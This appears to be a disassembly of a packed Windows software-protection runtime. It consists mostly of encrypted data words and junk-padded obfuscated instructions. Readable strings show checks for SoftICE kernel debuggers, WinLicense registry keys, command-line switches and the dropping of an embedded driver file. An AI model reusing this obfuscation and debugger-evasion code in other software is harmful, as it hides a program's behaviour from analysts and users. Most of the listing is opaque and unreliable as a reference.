		dd 6B3AFFFFh, 934384D8h, 6CE5C9EFh, 71AD5EE0h, 7C16D2B1h
		dd 174DFEAFh, 64EF9336h, 0A310C148h, 0E52F2282h, 0C070A38Fh
		dd 8533F32Bh, 0C16BAB63h, 0A9A566EFh, 21DD0FBFh, 67C24BE1h
		dd 751FDB03h, 15FB0CA6h, 77F5C6FDh, 92B090C4h, 0DFF1DDEFh
		dd 95348756h, 9EE52EBEh, 0CA0AC22Eh, 0D0FCE960h, 30258530h
		dd 3F6E0E67h, 5656588Ch, 89A59Eh, 984B21E5h, 0F245722Bh
		dd 0DD6EBF93h, 0A5026987h, 3BCF71EBh, 4D5AA95Ah, 2C9C4F61h
		dd 4A8801BDh, 5487ED29h, 9F0FACE7h, 0EDDF19Ah, 67BD0E5Fh
		dd 91ABAF35h, 87ABBC78h, 5D9D59B5h, 9D4E7EF7h, 0F710A061h
		dd 361B71C2h, 4C60ABAFh, 7B968A62h, 724E172Fh, 29D3Eh
		dd 8C42F00h, 589479C9h,	0BC32999h, 5A927ACAh, 8C42B9Bh
		dd 3E4DB4C9h, 66D617CFh, 39894884h, 68D819D5h, 0CF86477Fh
		dd 9EF72D9Eh, 6344E8E4h, 254F8BEFh, 0A42045F6h,	43E9E522h
		dd 0E205927Fh, 3A2FA622h, 9975C516h, 0AC6CA841h, 143AF21Ah
		dd 0A74BFB3Ah, 0A1619D73h, 14D0390Bh, 90507ED4h, 0E109C526h
		dd 61C1C985h, 2F4F033Fh, 81000002h, 0C777B66Eh,	8333F22Ah
		dd 0C070B16Dh, 9D2DEC28h, 0A77B66Eh, 9955B4F3h,	0C6FEE858h
		dd 0A35BB707h, 0FD39D262h, 9724753Ch, 0E8E49E41h, 8B25A98Eh
		dd 0A7F6254Fh, 1139F517h, 0F24C6836h, 380B821Ah, 0E521F9F5h
		dd 5405D6FAh, 411DB1E7h, 1D2FEF6h, 411D5EB2h, 68FA3F6h
		dd 4E8667D7h, 5B2DEA8Fh, 0A0487AB2h, 200EA464h,	1DD640F3h
		dd 775BF641h, 32EA01B7h, 0D534BAF2h, 3989D819h,	799C15D1h
		dd 0B407D4BEh, 0F6411D28h, 0EF5999B5h, 0BF15C6FEh, 7673E739h
		dd 8D4FC6D6h, 6AA24BC5h, 55BE8B9h, 4AF640CEh, 9C2CEF66h
		dd 5073B36Bh, 3EFB106Fh, 40CD578Dh, 0A688A4F6h,	0E337D066h
		dd 0BC16D60Eh, 5C7C5292h, 45816D30h, 0B3DFFB6Bh, 0C1FDEEh
		dd 5F9F57B0h, 39D602E9h, 7613D3FDh, 0BF779727h,	7E5CD57Fh
		dd 0ED1EAE12h, 0B5DF131h, 94528DA7h, 0B1810826h, 0FF4F9C58h
		dd 9D5ED70Fh, 0C606BE2Dh, 39E3B91h, 82070228h, 2CF1AE0Bh
		dd 0D2395C08h, 0DB8ADB1Ah, 409E3468h, 71AD5CF6h, 200C1BB1h
		dd 0BA7299A9h, 0E420CC7Ah, 0C5A18324h, 7CBD7990h, 23E31BCCh
		dd 15070496h, 0C0FCEC1Eh, 9E56B600h, 0ED993B5Eh, 0F64697B4h
		dd 0B51FDF17h, 47FD566h, 0E0CCAEB4h, 7A1F4B69h,	68A44991h
		dd 87D68746h, 0B404E034h, 88012DAEh, 57974FB8h,	12D20AE1h
		dd 0D0640020h, 4DE3281h, 0F23AEB4h, 9955B686h, 0C7FFE858h
		dd 0A2F64514h, 0EFAEB404h, 0DF884AC3h, 3EB6AC75h, 0AB22CF8Eh
		dd 0CFC8A4Eh, 49A610D0h, 5E8DA38Dh, 4FCAF8EDh, 28E9C5A4h
		dd 30E3894Dh, 0EF5C7883h, 0BF2B81AAh, 56CED50Ah, 624E5BD2h
		dd 3BF314A2h, 0F31BABFAh, 6982B23Bh, 4BD86DADh,	716E0449h
		dd 87603551h, 8EDF8E4Fh, 1851E73Dh, 91183406h, 6A8A48A1h
		dd 82CE78B5h, 7D3A6BD8h, 98B6BE22h, 28C076B6h, 0F0DE16F0h
		dd 457B9323h, 41E7C7A1h, 0DA537D75h, 0F19DBF18h, 42833BACh
		dd 1DDD19F2h
		dd 74A81B4Ah, 0B906192Eh, 2E85DB68h, 0E6CA0619h, 38B41C8h
		dd 81000000h, 0B35E7200h, 0DC0DBB7Bh, 0BA56E020h, 9274C202h
		dd 0BD2C9A5Ah, 9877C101h, 0C22A9C5Ch, 8E7CCA0Ah, 0CB209656h
		dd 68DDD313h, 2B0Ch
		db 89h,	1Ch, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], ecx
		push	edx
		mov	edx, 11E62C10h
		and	edx, 5413703Ah
		neg	edx
		xchg	eax, edx
		inc	eax
		xchg	eax, edx
		add	edx, 16B0B24Fh
		mov	ebx, edx
		pop	edx
		push	esp
		mov	ecx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebx
		pop	dword ptr [ecx+8]
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		jmp	loc_54FDCC
; ---------------------------------------------------------------------------
		db 0DDh
		dd 0AE9A33B8h, 0FFC50306h, 95E6D5E0h, 0B5AC260h, 17655A24h
		dd 89CEC95Ah, 0C2659135h, 45A5E929h, 0B2570340h, 0CCC0A20Eh
		dd 2C0AD514h, 10E80Dh, 78320000h, 0C74F99D2h, 1E529DACh
		dd 0A1BAD141h, 81662632h, 5E8F20F3h, 10E9h, 0C8D35F00h
		dd 0CF1CD0EAh, 1397E1DEh, 46CF91Ah, 85C68171h, 0E9000062h
		dd 0Fh,	129C4440h, 43CC081Fh, 0FC9C2E2Ch, 68765CA1h, 186Ch
		dd 8F0F5258h, 6, 850Fh,	0FF5B0000h, 5FDD8A36h, 0F73EB966h
		dd 9D82EF81h, 0E18173E7h, 257EB653h, 0B5CAC781h, 8E0F391Bh
		dd 8, 8B0F53h, 59000000h, 95EEF81h, 9E86B57h, 0DF000000h
		dd 7236EFB0h, 90663FFCh, 5F0568B9h, 3E89593Fh, 5860Fh
		dd 81660000h, 81D909C1h, 940E7EEEh, 0BFD18008h,	0E7AC681h
		dd 10E90894h, 0D5000000h, 851D88ADh, 43101100h,	0B26CDFD0h
		dd 481B0731h, 0FF85850Fh, 3AB9FFFFh, 0E9055461h, 8Ch, 49BD8360h
		dd 6AC11h, 5840Fh, 77E90000h, 6A000000h, 303E8000h, 8850Fh
		dd 6A0000h, 35E946h, 3E800000h,	8850F33h, 6A000000h, 24E94610h
		dd 80000000h, 850F343Eh, 8, 0E946306Ah,	13h, 0F353E80h
		dd 885h, 46406A00h, 2E9h, 80006A00h, 850F203Eh,	12h, 17E80h
		dd 8850Fh, 0C4830000h, 14E908h,	858D0000h, 6AC2F25h, 96905090h
		dd 6A9650h, 0F1995FFh, 0C36106ACh, 333985C6h, 0E84D06ACh
		dd 4, 0A43576A8h, 24448B50h, 89008B04h,	58042444h, 3479B5FFh
		dd 858D06ACh, 6AC3AFFh,	8589D0FFh, 6AC0F19h, 5E8h, 41F6C600h
		dd 85898879h, 6AC0BE5h,	35950B5Bh, 8106AC05h, 5B67C3h
		dd 0C88B6600h, 16BB68h,	5EC38B00h, 33FFD78Bh, 0B5295FFCh
		dd 6AC0F91h, 1871C781h,	0F48012DCh, 0FDC781D1h,	8072F611h
		dd 0EF8106DDh, 15523B2Bh, 354D8D8Bh, 295706ACh,	0AC2651BDh
		dd 80038F06h, 0EB8126F6h, 38F23053h, 2E6DB589h,	0C38106ACh
		dd 38F2304Fh, 25159D29h, 0EE8106ACh, 1,	0FFA8850Fh, 0CA8BFFFFh
		dd 0AAE9h, 666F5300h, 72617774h, 69575C65h, 63694C6Eh
		dd 65736E65h, 65684300h, 4E496B63h, 72705800h, 7845746Fh
		dd 43007469h, 6B636568h, 54554Fh, 4C6E6957h, 6E656369h
		dd 65566573h, 6F697372h, 6957006Eh, 63694C6Eh, 65736E65h
		dd 76697244h, 65567265h, 6F697372h, 6957006Eh, 63694C6Eh
		dd 65736E65h, 74736E49h, 65636E61h, 69784500h, 6B4F74h
		dd 636F7250h, 50004E49h, 4F636F72h, 45005455h, 49746978h
		dd 7845004Eh, 554F7469h, 70540054h, 4E49h, 2 dup(0)
		dd 7F000000h, 0F077DDAFh, 0E977DD72h, 596h, 9D878589h
		dd 858D06AEh, 6AE9D83h,	0ED858D50h, 5006AE9Ch, 168h, 9395FF80h
		dd 6A06AE9Dh, 87B5FF19h, 6A06AE9Dh, 8D006A01h, 0AE9D1C85h
		dd 0B5FF5006h, 6AE9D83h, 241995FFh, 0B5FF06ACh,	6AE9D83h
		dd 9D8F95FFh, 0B5FF06AEh, 6AE9D83h, 112195FFh, 89C306ACh
		dd 0AE9D8785h, 83858D06h, 5006AE9Dh, 9CED858Dh,	685006AEh
		dd 80000001h, 9D9395FFh, 46A06AEh, 9D87858Dh, 6A5006AEh
		dd 8D006A04h, 0AE9D4685h, 0B5FF5006h, 6AE9D83h,	241995FFh
		dd 0B5FF06ACh, 6AE9D83h, 9D8F95FFh, 0B5FF06AEh,	6AE9D83h
		dd 112195FFh, 89C306ACh, 0AE9D8785h, 83858D06h,	5006AE9Dh
		dd 9CED858Dh, 685006AEh, 80000001h, 9D9395FFh, 46A06AEh
		dd 9D87858Dh, 6A5006AEh, 8D006A04h, 0AE9D2E85h,	0B5FF5006h
		dd 6AE9D83h, 241995FFh,	0B5FF06ACh, 6AE9D83h, 9D8F95FFh
		dd 0B5FF06AEh, 6AE9D83h, 112195FFh, 89C306ACh, 0AE9D8785h
		dd 83858D06h, 5006AE9Dh, 9CED858Dh, 685006AEh, 80000001h
		dd 9D9395FFh, 46A06AEh,	9D87858Dh, 6A5006AEh, 8D006A04h
		dd 0AE9D5985h, 0B5FF5006h, 6AE9D83h, 241995FFh,	0B5FF06ACh
		dd 6AE9D83h, 9D8F95FFh,	0B5FF06AEh, 6AE9D83h, 112195FFh
		dd 89C306ACh, 0AE9D8785h, 83858D06h, 5006AE9Dh,	9CED858Dh
		dd 685006AEh, 80000001h, 9D9395FFh, 46A06AEh, 9D87858Dh
		dd 6A5006AEh, 8D006A04h, 0AE9D0985h, 0B5FF5006h, 6AE9D83h
		dd 241995FFh, 0B5FF06ACh, 6AE9D83h, 9D8F95FFh, 0B5FF06AEh
		dd 6AE9D83h, 112195FFh,	83C306ACh, 0AC1C0DBDh, 840F0006h
		dd 0Bh,	1C0D9D8Bh, 0C38306ACh, 0C303894Ch, 1C0DBD83h, 0F0006ACh
		dd 0B84h, 0D9D8B00h, 8306AC1Ch,	38950C3h, 0DBD83C3h, 6AC1Ch
		dd 0B840Fh, 9D8B0000h, 6AC1C0Dh, 8954C383h, 0BD83C303h
		dd 6AC1C0Dh, 0B840F00h,	8B000000h, 0AC1C0D9Dh, 58C38306h
		dd 83C30389h, 0AC1C0DBDh, 840F0006h, 0Bh, 1C0D9D8Bh, 0C38306ACh
		dd 0C303895Ch, 858960C3h, 6AE9D87h, 9D83858Dh, 8D5006AEh
		dd 0AE9CED85h, 1685006h, 0FF800000h, 0AE9D9395h, 8D046A06h
		dd 0AE9D8785h, 46A5006h, 858D006Ah, 6AE9D7Eh, 83B5FF50h
		dd 0FF06AE9Dh, 0AC241995h, 85BD8306h, 6AC1Eh, 0C840Fh
		dd 0B5FF0000h, 6AE9D83h, 9D8F95FFh, 0B5FF06AEh,	6AE9D83h
		dd 112195FFh, 0C36106ACh, 87858960h, 8D06AE9Dh,	0AE9D8385h
		dd 858D5006h, 6AE9CEDh,	16850h,	95FF8000h, 6AE9D93h, 858D046Ah
		dd 6AE9D87h, 6A046A50h,	60858D00h, 5006AE9Dh, 9D83B5FFh
		dd 95FF06AEh, 6AC2419h,	1E85BD83h, 0F0006ACh, 0C84h, 83B5FF00h
		dd 0FF06AE9Dh, 0AE9D8F95h, 83B5FF06h, 0FF06AE9Dh, 0AC112195h
		dd 60C36106h, 9D878589h, 858D06AEh, 6AE9D83h, 0ED858D50h
		dd 5006AE9Ch, 168h, 9395FF80h, 6A06AE9Dh, 87858D04h, 5006AE9Dh
		dd 6A046Ah, 9D67858Dh, 0FF5006AEh, 0AE9D83B5h, 1995FF06h
		dd 8306AC24h, 0AC1E85BDh, 840F0006h, 0Ch, 9D83B5FFh, 95FF06AEh
		dd 6AE9D8Fh, 9D83B5FFh,	95FF06AEh, 6AC1121h, 8960C361h
		dd 0AE9D8785h, 83858D06h, 5006AE9Dh, 9CED858Dh,	685006AEh
		dd 80000001h, 9D9395FFh, 46A06AEh, 9D87858Dh, 6A5006AEh
		dd 8D006A04h, 0AE9D6F85h, 0B5FF5006h, 6AE9D83h,	241995FFh
		dd 0BD8306ACh, 6AC1E85h, 0C840F00h, 0FF000000h,	0AE9D83B5h
		dd 8F95FF06h, 0FF06AE9Dh, 0AE9D83B5h, 2195FF06h, 6106AC11h
		dd 858960C3h, 6AE9D87h,	9D83858Dh, 8D5006AEh, 0AE9CED85h
		dd 1685006h, 0FF800000h, 0AE9D9395h, 8D046A06h,	0AE9D8785h
		dd 46A5006h, 858D006Ah,	6AE9D76h, 83B5FF50h, 0FF06AE9Dh
		dd 0AC241995h, 85BD8306h, 6AC1Eh, 0C840Fh, 0B5FF0000h
		dd 6AE9D83h, 9D8F95FFh,	0B5FF06AEh, 6AE9D83h, 112195FFh
		dd 0C36106ACh, 8785C760h, 106AE9Dh, 8D000000h, 0AE9D8385h
		dd 858D5006h, 6AE9CEDh,	26850h,	95FF8000h, 6AE9D93h, 840FC00Bh
		dd 0Fh,	9D8785C7h, 6AEh, 4DE90000h, 6A000000h, 87858D04h
		dd 5006AE9Dh, 6A046Ah, 9D01858Dh, 0FF5006AEh, 0AE9D83B5h
		dd 1995FF06h, 0B06AC24h, 0F840FC0h, 0C7000000h,	0AE9D8785h
		dd 6, 0AE900h, 85C70000h, 6AE9D87h, 1, 9D83B5FFh, 95FF06AEh
		dd 6AC1121h, 87858B61h,	0C306AE9Dh, 87858960h, 8D06AE9Dh
		dd 0AE9D8385h, 858D5006h, 6AE9CEDh, 16850h, 95FF8000h
		dd 6AE9D93h, 858D046Ah,	6AE9D87h, 6A046A50h, 1858D00h
		dd 5006AE9Dh, 9D83B5FFh, 95FF06AEh, 6AC2419h, 1E85BD83h
		dd 0F0006ACh, 0C84h, 83B5FF00h,	0FF06AE9Dh, 0AE9D8F95h
		dd 83B5FF06h, 0FF06AE9Dh, 0AC112195h, 60C36106h, 9D878589h
		dd 858D06AEh, 6AE9D83h,	0ED858D50h, 5006AE9Ch, 168h, 9395FF80h
		dd 6A06AE9Dh, 87858D04h, 5006AE9Dh, 6A046Ah, 9D13858Dh
		dd 0FF5006AEh, 0AE9D83B5h, 1995FF06h, 8306AC24h, 0AC1E85BDh
		dd 840F0006h, 0Ch, 9D83B5FFh, 95FF06AEh, 6AE9D8Fh, 9D83B5FFh
		dd 95FF06AEh, 6AC1121h,	85C6C361h, 6AC3339h, 7B076852h
		dd 0B5FFADE4h, 6AC307Dh, 56595FFh, 858906ACh, 6AE9D93h
		dd 333985C6h, 685206ACh, 902E00E5h, 307DB5FFh, 95FF06ACh
		dd 6AC0565h, 9D8F8589h,	85C606AEh, 6AC3339h, 12356852h
		dd 0B5FFB9BFh, 6AC307Dh, 56595FFh, 858906ACh, 6AC2419h
		dd 333985C6h, 685206ACh, 98781034h, 307DB5FFh, 95FF06ACh
		dd 6AC0565h, 11218589h,	85C606ACh, 6AC3339h, 0DBD46852h
		dd 0B5FFC005h, 6AC307Dh, 56595FFh, 858906ACh, 6AC19D1h
		dd 5C5C1EEBh, 49535C2Eh, 5C004543h, 535C2E5Ch, 49565749h
		dd 5C5C0044h, 544E5C2Eh, 454349h, 0BD89C08Bh, 6AC33E9h
		dd 1E85BD83h, 750006ACh, 29BD8309h, 6AC0Ah, 53501974h
		dd 0FB8C08Bh, 89000004h, 0AC088985h, 649D8D06h,	0FF06AEA2h
		dd 83585BD3h, 0AC0A29BDh, 17740006h, 0FB85350h,	89000004h
		dd 0AC088985h, 539D8D06h, 0FF06AE9Fh, 6A585BD3h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 15042444h, 40000000h
		dd 81A0C350h, 8BF08B66h, 5850FC0h, 0BA000000h, 48E11E98h
		dd 333985C6h, 664306ACh, 0F568D08Bh, 57A350D1h,	1602BBEh
		dd 34815F17h, 0DEBF0924h, 0C1958B1Fh, 0FF06AC12h, 0AC1281B5h
		dd 4D8D2906h, 8D06AC0Ch, 0AC3AFF85h, 0AD958B06h, 0FF06AC2Fh
		dd 2829BED0h, 52506321h, 0DE8h,	0A0E23F00h, 0D7180A92h
		dd 5E34A819h, 5250BFAAh, 585A310Fh, 489595Ah, 69B50924h
		dd 6A06AC29h, 4E8F500h,	80000000h, 60000000h, 9BBBB66h
		dd 5F565250h, 0DE9310Fh, 0FB000000h, 3BCBE583h,	9BAB312Eh
		dd 8DB13963h, 5061585Ah, 424448Bh, 0E0EBA66h, 9E9008Bh
		dd 6D000000h, 725AA548h, 7769AF18h, 4244489h, 0E958DCB5h
		dd 14h,	0AA87FC9Ah, 0C78002FEh,	0C57F02F7h, 60CB0C33h
		dd 3BE6CABAh, 4BB1036Ah, 0BD8B006Ah, 6AC0EB9h, 860F036Ah
		dd 2, 0DF68FFB1h, 8B9AFD85h, 243481CEh,	5AFD85DFh, 4BE18166h
		dd 0CA9D8DD1h, 8B06AEA3h, 0AC09118Dh, 66509306h, 933765BAh
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 15h, 7AC35242h
		dd 0A99D2914h, 0FF06AC1Ch, 0D8529D0h, 4006AC01h, 251850Fh
		dd 958B0000h, 6AC1F65h,	1CD8D89h, 0E95806ACh, 0Eh, 748BC744h
		dd 0B43798Ah, 0E66E0E13h, 57904DC7h, 44BA5250h,	0F045838h
		dd 8B96631h, 5A585AF5h,	0C07EBA50h, 8B9052FBh, 0AC3341B5h
		dd 6ADCB106h, 89E78100h, 291D068Bh, 0AC32559Dh,	4E806h
		dd 800000h, 8B660000h, 448B50FAh, 8B660424h, 89008BF7h
		dd 58042444h, 108C0Fh, 0BE90000h, 0F9000000h, 565F9860h
		dd 12C9BD1Eh, 36AD78Ah,	0C3C8BE66h, 6A006Ah, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1B0424h, 53430000h, 916C14C3h
		dd 78F00116h, 6A036A00h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 17042444h, 47000000h, 0FD6EC357h,	860F58B2h
		dd 2, 0DE8F78Bh, 1E000000h, 0C478A41Fh,	0B9DFC346h, 89A1D326h
		dd 1CF1BD89h, 685A06ACh, 83AD57AFh, 11E9h, 92B10400h, 86AF4F71h
		dd 0DF5AF053h, 34538A76h, 481C2DBh, 52A85124h, 0D39D8D3Ch
		dd 5006AEA3h, 48E0Fh, 0BA660000h, 935A90A8h, 0DE950h, 9FC20000h
		dd 25527A09h, 2330C52Ah, 93AEAFA7h, 55D8589h, 0BF0F06ACh
		dd 0E9D0FFF9h, 0Fh, 0B4118C4h, 588E3749h, 90A4DF2h, 40DAAD3Fh
		dd 0F5850Fh, 0D9810000h, 66F7358Dh, 31E28058h, 50506090h
		dd 5A310F52h, 0B8665F58h, 50614647h, 6810F57h, 0F000000h
		dd 82h,	23905F00h, 0AC29198Dh, 2B006A06h, 0AC296D8Dh, 0D10A6806h
		dd 5250FEAEh, 8E2444BAh, 0B9310F08h, 50783A91h,	481585Ah
		dd 512F7624h, 3FBE6601h, 66036A92h, 0B55CDE81h,	0B58B006Ah
		dd 6AC2755h, 956036Ah, 0AC02259Dh, 4B685F06h, 50A0C851h
		dd 39BE6652h, 0BA310F08h, 2B4F2107h, 3481585Ah,	0C8514B24h
		dd 0DE9D8D60h, 8B06AEA3h, 0AC01EDB5h, 0CEBF0F06h, 0CE850h
		dd 94EC0000h, 183988E9h, 0F1CEA69Ch, 8E9859Dh, 11000000h
		dd 0EC4540E1h, 5E94E482h, 0E9241C89h, 7, 0DE8DF63Ah, 0FF4A8FD7h
		dd 850F40D0h, 23h, 0FE9h, 9A904900h, 0A885B517h, 0F85C6390h
		dd 6E7069BEh, 0D0BF0F58h, 0D6E9h, 49B52B00h, 8B06AC2Eh
		dd 0D98D89D8h, 4B06AC34h, 0A9BD8957h, 5A06AC0Bh, 0B9BD8B58h
		dd 0C606AC2Dh, 0AC333985h, 6A4306h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 170424h, 53430000h, 0C7D246C3h
		dd 0DBD8B39h, 8906AC30h, 0AC31E985h, 84DC6806h,	8B66BA23h
		dd 240481F7h, 652C5CBh,	33B18D8Bh, 800F06ACh, 6, 1B999529h
		dd 0B5FF06ACh, 6AC1281h, 24D18589h, 13E906ACh, 0DC000000h
		dd 32A81717h, 0F1A05727h, 0DBBCC7DFh, 450B3DCAh, 858DDF45h
		dd 6AC3AFFh, 8D31D0FFh,	6AC1EA1h, 0E882BA50h, 1C890437h
		dd 15B58B24h, 0FF06AC0Fh, 8E0FD0h, 51000000h, 296DBD8Bh
		dd 8D5A06ACh, 0AC70C29Dh, 9BC98106h, 0B81804BEh, 1, 8BFCE3FFh
		dd 0FD8509C1h, 8B06AC12h, 53006AC0h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1D04h,	0C3534300h, 85CA5300h
		dd 0D56DCBB7h, 870FCFFFh, 6, 1CD59529h,	0BD8306ACh, 6AC1E85h
		dd 83097500h, 0AC0A29BDh, 19740006h, 0C08B5350h, 40FB8h
		dd 1858900h, 8D06AC0Ch,	0AEA2CB9Dh, 5BD3FF06h, 29BD8358h
		dd 6AC0Ah, 53501774h, 40FB8h, 1858900h,	8D06AC0Ch, 0AE9F6C9Dh
		dd 5BD3FF06h, 55006A58h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1A04h, 0C3554500h, 6780629Ch, 8974549Ah, 0AC12A58Dh
		dd 0E9C08B06h, 99h, 6775622Fh, 63656863h, 2F00326Bh, 63677562h
		dd 6B636568h, 6F662F00h, 72656372h, 2F006E75h, 63677562h
		dd 6B636568h, 6C6C7566h, 68732F00h, 6F63776Fh, 2F006564h
		dd 776F6873h, 65646F63h, 632F0032h, 74726Ch, 7369642Fh
		dd 732F0031h, 69776F68h, 6174736Eh, 65636Eh, 7465672Fh
		dd 74736C77h, 73757461h, 6F6C2F00h, 61747367h, 737574h
		dd 6D75642Fh, 61747370h, 737574h, 0
aCheckprotectio	db '/checkprotection',0
		align 4
		dd 0F8BD8300h, 6AEA9h, 0A840Fh,	85C70000h, 6AC0A29h, 1
		dd 333985C6h, 684706ACh, 90CDEBF2h, 7F243481h, 0FF00A087h
		dd 0AC1281B5h, 0FF858D06h, 0FF06AC3Ah, 8BD0FFD0h, 223F80F8h
		dd 22850Fh, 0B0470000h,	850FAE22h, 0FFFFFFF9h, 0F003F80h
		dd 31B84h, 3F804700h, 11840F00h, 0E9000003h, 1Eh, 0F003F80h
		dd 30384h, 203F8000h, 6850Fh, 0E9470000h, 6, 0FFE2E947h
		dd 3F80FFFFh, 5850F00h,	0E9000000h, 2E0h, 1E9h,	3F804700h
		dd 0F6840F20h, 80FFFFFFh, 850F003Fh, 5,	2C3E9h,	0AE800h
		dd 0CBE90000h, 0E9FFFFFFh, 2B4h, 0A978B58Dh, 25E806AEh
		dd 3000002h, 0AEAA0DBDh, 0DBD8306h, 6AEAAh, 0B840Fh, 85C70000h
		dd 6AC1E85h, 1,	83B58DC3h, 0E806AEA9h, 1FCh, 0AA0DBD03h
		dd 0BD8306AEh, 6AEAA0Dh, 0B840F00h, 0C7000000h,	0AC0A2985h
		dd 106h, 0B58DC300h, 6AEA9FCh, 1D3E8h, 0DBD0300h, 8306AEAAh
		dd 0AEAA0DBDh, 840F0006h, 0Bh, 114985C7h, 106ACh, 8DC30000h
		dd 0AEA98DB5h, 1AAE806h, 0BD030000h, 6AEAA0Dh, 0AA0DBD83h
		dd 0F0006AEh, 0B84h, 2985C700h,	106AC0Ah, 0C3000000h, 0A997B58Dh
		dd 81E806AEh, 3000001h,	0AEAA0DBDh, 0DBD8306h, 6AEAAh
		dd 15840Fh, 85C70000h, 6AC0A29h, 1, 1E8585C7h, 106ACh
		dd 8DC30000h, 0AEA9A5B5h, 14EE806h, 0BD030000h,	6AEAA0Dh
		dd 0AA0DBD83h, 0F0006AEh, 0A84h, 0AD85C700h, 106AC2Ah
		dd 8D000000h, 0AEA9AFB5h, 126E806h, 0BD030000h,	6AEAA0Dh
		dd 0AA0DBD83h, 0F0006AEh, 0A84h, 0AD85C700h, 106AC2Ah
		dd 8D000000h, 0AEA9BAB5h, 0FEE806h, 0BD030000h,	6AEAA0Dh
		dd 0AA0DBD83h, 0F0006AEh, 0A84h, 0C985C700h, 106AC0Bh
		dd 8D000000h, 0AEA9C0B5h, 0D6E806h, 0BD030000h,	6AEAA0Dh
		dd 0AA0DBD83h, 0F0006AEh, 0A84h, 8985C700h, 106AC13h, 8D000000h
		dd 0AEA9C6B5h, 0AEE806h, 0BD030000h, 6AEAA0Dh, 0AA0DBD83h
		dd 0F0006AEh, 0A84h, 0E985C700h, 106AC2Ah, 8D000000h, 0AEA9D4B5h
		dd 86E806h, 0BD030000h,	6AEAA0Dh, 0AA0DBD83h, 0F0006AEh
		dd 0A84h, 3185C700h, 106AC13h, 8D000000h, 0AEA9E1B5h, 5EE806h
		dd 0BD030000h, 6AEAA0Dh, 0AA0DBD83h, 0F0006AEh,	0A84h
		dd 0F185C700h, 106AC2Dh, 8D000000h, 0AEA9ECB5h,	36E806h
		dd 0BD030000h, 6AEAA0Dh, 0AA0DBD83h, 0F0006AEh,	0A84h
		dd 3D85C700h, 106AC22h,	0E9000000h, 1, 203F8047h, 9840Fh
		dd 3F800000h, 0ED850F00h, 0C3FFFFFFh, 1B960h, 0DE8B0000h
		dd 1CE9h, 3F8000h, 2850Fh, 0C92B0000h, 1638178Ah, 5840Fh
		dd 0B90000h, 46000000h,	3E8047h, 8840Fh, 0C90B0000h, 0FFD3850Fh
		dd 0C90BFFFFh, 21840Fh,	3F800000h, 9840F00h, 80000000h
		dd 850F203Fh, 0Ah, 1B9h, 5E900h, 0B90000h, 0B000000h, 0D840FC9h
		dd 2B000000h, 0DB589F3h, 0E906AEAAh, 0Ah, 0AA0D85C7h, 6AEh
		dd 0C3610000h, 0B8h, 0FC00B00h,	0A84h, 0AD85C700h, 6AC2Ah
		dd 8B000000h, 11E8C8h, 829D0000h, 4CAF356Bh, 0E5FDB3AEh
		dd 0E42CE1C5h, 30FAF8Eh, 0AC216DBDh, 0BFBE5B06h, 81087FD6h
		dd 74DAC3h, 7D9D0900h, 6806AC00h, 1D0Dh, 20F5BD03h, 0FC5A06ACh
		dd 880F33FFh, 1, 958959F5h, 6AC27E9h, 0DF5DF181h, 81FC43E6h
		dd 44E7D7C1h, 0C5858B79h, 8106AC1Dh, 935A04E9h,	0C9BD894Bh
		dd 5106AC2Dh, 10E99D89h, 38F06ACh, 83F9B70Fh, 0EA8304EBh
		dd 1A850F01h, 89000000h, 0AC20B1BDh, 22E906h, 0CCE50000h
		dd 455BFC2Eh, 0DCDBFE95h, 0A250D922h, 0D5858B54h, 0E906AC1Ch
		dd 0FFFFFF94h, 7ADFAE80h, 0DB287848h, 20EE9h, 61433300h
		dd 746F6E6Eh, 69727720h, 6F206574h, 6E616572h, 78762E73h
		dd 4D0D0A64h, 20656B61h, 65727573h, 61687420h, 68742074h
		dd 66207369h, 20656C69h, 6E207369h, 6220746Fh, 676E6965h
		dd 65737520h, 79622064h, 6F6E6120h, 72656874h, 6F727020h
		dd 6D617267h, 2Eh, 67h dup(0)
		dd 724F5C00h, 736E6165h, 6478762Eh, 2 dup(0)
		dd 0E9000000h, 0EFh, 333985C6h,	684706ACh, 0E3E45B86h
		dd 1281B5FFh, 858D06ACh, 6AC3AFFh, 468D0FFh, 8D000001h
		dd 0AC225D9Dh, 0D0FF5306h, 49B58D50h, 8B06AEB0h, 0AEC032FEh
		dd 0FFF9850Fh, 0FE2BFFFFh, 8B58CF8Bh, 0F3F803FBh, 3985C6A4h
		dd 4306AC33h, 8E6EFC68h, 81B5FFBCh, 8D06AC12h, 0AC3AFF85h
		dd 8DD0FF06h, 0AC225DB5h, 68006A06h, 80h, 6A026Ah, 68006Ah
		dd 56C00000h, 0D88BD0FFh, 333985C6h, 685706ACh,	0A69BEE56h
		dd 1281B5FFh, 858D06ACh, 6AC3AFFh, 0BD8DD0FFh, 6AC1C8Dh
		dd 0B16F8D8Dh, 6A06AEh,	37D06857h, 53510000h, 0C085D0FFh
		dd 1B850Fh, 0B58D0000h,	6AEAE51h, 9BA8858Dh, 0D0FF06AEh
		dd 70C28D8Dh, 0B806ACh,	0FF000000h, 3985C6E1h, 4306AC33h
		dd 764AA768h, 81B5FFC0h, 8D06AC12h, 0AC3AFF85h,	53D0FF06h
		dd 0B9C3D0FFh, 37D0h, 0E8h, 0C0835800h,	0E908890Eh, 2
		dd 0D0E9C38Bh, 4D000037h, 300905Ah, 4000000h, 0FF000000h
		dd 0B80000FFh, 0
		dd 40000000h, 8	dup(0)
		dd 0B0000000h, 0E000000h, 0EBA1Fh, 21CD09B4h, 0CD4C01B8h
		dd 69685421h, 72702073h, 6172676Fh, 6163206Dh, 746F6E6Eh
		dd 20656220h, 206E7572h, 44206E69h, 6D20534Fh, 2E65646Fh
		dd 240A0D0Dh, 0
		dd 5D000000h, 19DB1D17h, 2 dup(19887376h), 0E5887376h
		dd 18886156h, 19887376h, 18887376h, 52887376h, 19686369h
		dd 887376h, 0
